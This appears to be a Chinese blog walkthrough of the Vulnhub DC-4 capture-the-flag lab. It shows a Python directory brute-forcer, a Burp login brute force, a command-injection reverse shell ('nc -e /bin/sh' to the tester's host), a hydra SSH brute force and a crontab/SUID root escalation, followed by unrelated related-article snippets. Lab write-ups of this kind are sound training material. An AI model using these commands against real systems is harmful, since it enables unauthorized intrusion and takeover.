Vulnhub靶场案例渗透[5]- DC4
文章目录
- 1. 靶场搭建
- 2. 信息收集
- 2.1 确定靶机ip
- 2.2 主机信息收集
- 2.3 主机目录探测
- 3. 渗透过程
- 3.1 sql注入检测
- 3.2 burp爆破
- 3.3 反弹shell
- 3.4 提权
- 4. 总结
1. 靶场搭建
靶场源地址
检验下载文件的检验码,对比没问题使用vmware打开
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
2. 信息收集
2.1 确定靶机ip
根据虚拟机网络适配器模式,确定靶机所在网段。使用nmap进行网段存活主机,排除法确定靶机ip.
nmap -sn 192.168.6.100/24

通过排除法确定靶机ip为192.168.6.100
2.2 主机信息收集
通过nmap探测靶机开放端口和端口对应服务
nmap -Ap 1-65535 192.168.6.100

确定开放端口:
- 22:ssh服务
- 80: http服务
2.3 主机目录探测
import queue
import requests
import threading
import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://192.168.6.100"
THREADS = 8
WORDLIST = "./all.txt" words = queue.Queue """
读取字典文件,生成扫描内容
"""
def get_words(resume=None): words = queue.Queue() def extend_words(word): if "." in word: words.put(f"/{word}") else: words.put(f"/{word}/") # for extension in EXTENSIONS: # words.put(f"/{word}{extension}") with open(WORDLIST) as f: raw_words = f.read() found_resume = False for word in raw_words.split(): if resume is not None: if found_resume: extend_words(word) elif word == resume: found_resume = True else: extend_words(word) return words """
暴力扫描
"""
def dir_bruter(words): headers = {"User-Agent":AGENT} session = requests.Session() session.verify = False session.get(TARGET, headers = headers) while not words.empty(): url = f"{TARGET}{words.get()}" try: r = session.get(url) except requests.exceptions.ConnectionError as e: # print(e) continue if r.status_code != 404: print(url) if __name__ == "__main__": words = get_words() for _ in range(THREADS): t = threading.Thread(target=dir_bruter, args=(words,)) t.start()

3. 渗透过程
3.1 sql注入检测
访问web页面,发现只有一个登录界面.

尝试使用sqlmap进行sql注入点检测,发现不存在注入点。
sqlmap -u "http://192.168.6.100/login.php?username=admin&password=admin"
3.2 burp爆破
尝试使用burp进行弱密码爆破,由于账号和密码都不知道使用cluster boomb模式,选择爆破字典。
各种攻击模式的区别:
- 【sinper】:对单一参数进行密码爆破
- 【battering ram】:对所有参数进行同一个变量爆破(如用户名和密码一样)
- 【pitchfork】:对所有参数进行一一对应爆破,传递两个参数两个字典,一一对应。
- 【cluster bomb】:对参数进行交叉爆破,常用用于不知道账号密码的情况


爆破成功,账号为admin,密码为happy,成功登录

3.3 反弹shell
发现网站存在功能可以直接让服务器直接前端请求执行的命令。修改请求包命令,进行反弹shell。

使用burp将请求拦截将参数radio改为
nc -e /bin/sh 192.168.6.101 8888,kali使用nc进行监听
# 开启监听
nc -lvp 8888


反弹shell成功
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'
3.4 提权
使用SUID进行提权
# 获取设置suid的文件
find / -type f -perm -4000 2>/dev/null

发现/home/jim/test.sh文件,使用ls查看文件权限设置。查看文件内容之后,发现无法利用这个文件切换到jim用户.设置suid的文件在发生变更时,suid标志会被撤销,无果。
ls -l /home/jim/test.sh

尝试过sudo提权、搜索内核版本漏洞、crontab定时任务、/etc/passwd也没有发现利用的点。转变思路,在系统中查看是否有可利用的文件。

在jim目录下找到jim的旧密码记录文件,尝试进行ssh爆破。成功获取到密码
jibril04.使用ssh成功登录。
# 使用hydra进行爆破
hydra -l jim -P dc4.txt ssh://192.168.6.100:22


发现有一个邮件,查看cat /var/mail/jim获取邮件,获取到charles的密码,切换用户

切换用户之后继续尝试sudo提权,发现存在/usr/bin/teehee被设置为无密码使用。
# 获取teehee的帮助信息,了解这个命令
teehee --help
teehee是将标准输入写入到某个文件中的一个命令。
我们可以利用这个命令去写入一个定时任务,将/bin/bash权限设置为4777。
echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab
接下来执行/bin/bash,发现并没有提权,猜测受到环境变量或者配置文件的限制。采用
/bin/bash -p进行尝试,-p参数使用保护模式启动,保护模式下会忽略一些环境变量和配置文件,成功提权。

成功获取flag

4. 总结
本次靶场利用到的技能:
- namp进行信息收集
- burp suite利用字典进行账号密码爆破,篡改发送包参数。
- hydra进行ssh字典密码爆破
- sudo配合定时任务提权。
相关文章:
Vulnhub靶场案例渗透[5]- DC4
文章目录 1. 靶场搭建2. 信息收集2.1 确定靶机ip2.2 主机信息收集2.3 主机目录探测 3. 渗透过程3.1 sql注入检测3.2 burp爆破3.3 反弹shell3.4 提权 4. 总结 1. 靶场搭建 靶场源地址 检验下载文件的检验码,对比没问题使用vmware打开 # windwos 命令 Get-FileHash …...
http协议概述与状态码
目录 1.HTTP概述 1.1请求报文起始行与开头 1.2响应报文起始行 1.3响应报文开头 2.http状态协议码 1.HTTP概述 默认端口 80 HTTP超文本传输与协议: 数据请求和响应 传输:将网站的数据传递给用户 超文本:图片 视频等 请求request:打开网站 访问网站 响应r…...
Golang 进阶5—— 反射
Golang 进阶5—— 反射 注意,该文档只适合有编程基础的同学,这里的go教程只给出有区别的知识点 反射: 反射可以在运行时动态获取变量的各种信息, 比如变量的类型、 类别等信息。如果是结构体变量,还可以获取结构体本…...
react 封装防抖
封装防抖 import React, { useRef, useEffect, useCallback } from react;function useDebounce(fn, delay) {const delayRef useRef(delay);const fnRef useRef(fn);// 更新ref值useEffect(() > {delayRef.current delay;}, [delay]);useEffect(() > {fnRef.current…...
Java项目-----图形验证码登陆实现
原理: 验证码在前端显示,但是是在后端生成, 将生成的验证码存入redis,待登录时,前端提交验证码,与后端生成的验证码比较. 详细解释: 图形验证码的原理(如下图代码).前端发起获取验证码的请求后, 1 后端接收请求,生成一个键key(随机的键) 然后生成一个验证码作为map的valu…...
【网络代理模块】反向代理(上)
1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求,然后将请求转发给内部网络上的服务器,将从服务器上得到的结果返回给客户端,此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说,反向代理就相当…...
2-112基于matlab的协同干扰功率分配模型
基于matlab的协同干扰功率分配模型,带操作界面的功率分配GUI,可以实现对已有功率的分配优化,可以手动输入参数值。4个干扰山区分二批总干扰功率,每个扇区包括威胁总系数、综合压制概率、目标函数增量等。程序已调通,可…...
数据结构之——二叉树
一、二叉树的基本概念 二叉树是数据结构中的重要概念,每个节点最多有两个子树,分别为左子树和右子树。这种结构具有明确的层次性和特定的性质。 二叉树有五种基本形态: 空二叉树:没有任何节点。只有一个根结点的二叉树ÿ…...
多层感知机(MLP)实现考勤预测二分类任务(sklearn)
1、基础应用: https://blog.csdn.net/qq_36158230/article/details/118670801 多层感知机(MLP)实现考勤预测二分类任务(sklearn) 2、分类器参数:https://scikit-learn.org/dev/modules/generated/sklearn.neural_network.MLPClassifier.html 3、损失函数…...
文件与目录的基本操作
前提:使用su root 切换到权限最大的root用户 1.显示当前工作目录的绝对路径(pwd) 用途:用于显示当前工作目录的绝对路径的命令。无论用户在文件系统的哪个位置,pwd 命令都能提供当前所在位置的完整路径信息。 用法&a…...
Python入门笔记(三)
文章目录 第八章 字典dict8.1 创建字典:{}、dict()、字典生成式、zip()8.2 获取键对应的值:get()8.3 in, not in判断键是否在字典中8.4 增加键值对:fromkeys()、setdefault()、update()8.5 删除键值对:del语句、clear(…...
PostgreSQL 任意命令执行漏洞(CVE-2019-9193)
记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。 使用靶机复现攻击过程。 过程 在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1 随后连接进PostgreSql …...
使用tgz包下载安装clickhouse低版本
1.下载安装包 官方下载地址:https://packages.clickhouse.com/tgz/stable 阿里云下载地址:clickhouse-tgz-stable安装包下载_开源镜像站-阿里云 共需要下载四个文件 clickhouse-common-static-20.3.10.75.tgz clickhouse-common-static-dbg-20.3.10.7…...
外包功能测试干了6个月,技术退步太明显了。。。。。
先说一下自己的情况,本科生,23年通过校招进入武汉某软件公司,干了差不多6个月的功能测试,今年中秋,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我就在一个外包企业干了6个月的功…...
动态规划和贪心算法
目录 动态规划和贪心算法 动态规划 贪心算法 两者之间的区别 动态规划和贪心算法 是两种经典的算法设计策略,它们各自具有独特的特点和适用场景。 动态规划 动态规划是一种将复杂问题分解为更简单子问题的求解方法。它特别适用于那些具有重叠子问题和最优子结构特性的问…...
python爬虫--tx动漫完整信息抓取
python爬虫--tx动漫完整信息抓取 一、采集主页信息二、采集详情页信息三、完整代码一、采集主页信息 先看一下采集到的信息,结果保存为csv文件: 打开开发者工具,找到数据接口。 使用xpath提取详情页url。 二、采集详情页信息 如上图所示,使用xpath提取详情页的标题、作…...
《使用Java做爬虫和使用python做爬虫哪个好》
使用Java做爬虫和使用python做爬虫哪个好 Java 和 Python 都是非常出色的编程语言,在爬虫领域各有其优势,具体使用哪种语言更好取决于多种因素: 一、开发效率 1. Python Python 以其简洁、易读的语法而闻名。在爬虫开发中,有许…...
如果我想开发一个APP,需要准备哪些材料呢
开发一个APP需要准备的材料相对复杂,涵盖了公司资质、技术资源、支付接口以及第三方服务等多个方面。以下是一份详细的材料清单: 一、公司资质证明 营业执照:需要提供公司的营业执照副本,用于申请企业支付、域名备案、APP上架及…...
告别论文初稿焦虑!ChatGPT让你轻松完成写作!
AIPaperGPT,论文写作神器~ https://www.aipapergpt.com/ 在面对繁琐的论文写作时,很多人都会遇到无从下手的困惑,尤其是论文初稿阶段,往往需要大量的时间来组织思路和编写内容。然而,随着AI技术的发展,像…...
mongodb 数据迁移,亲测成功!
mysql进行数据迁移,最简单的不过是导出sql,然后在运行sql,数据也自然迁移过去了。 可是mongodb里,我们存储的是文件,是怎么做到的呢,当我在翻阅网上博客的时候,并没有发现有这方面的顾虑。 当…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
面向无人机海岸带生态系统监测的语义分割基准数据集
描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...
虚拟电厂发展三大趋势:市场化、技术主导、车网互联
市场化:从政策驱动到多元盈利 政策全面赋能 2025年4月,国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》,首次明确虚拟电厂为“独立市场主体”,提出硬性目标:2027年全国调节能力≥2000万千瓦࿰…...
CSS | transition 和 transform的用处和区别
省流总结: transform用于变换/变形,transition是动画控制器 transform 用来对元素进行变形,常见的操作如下,它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
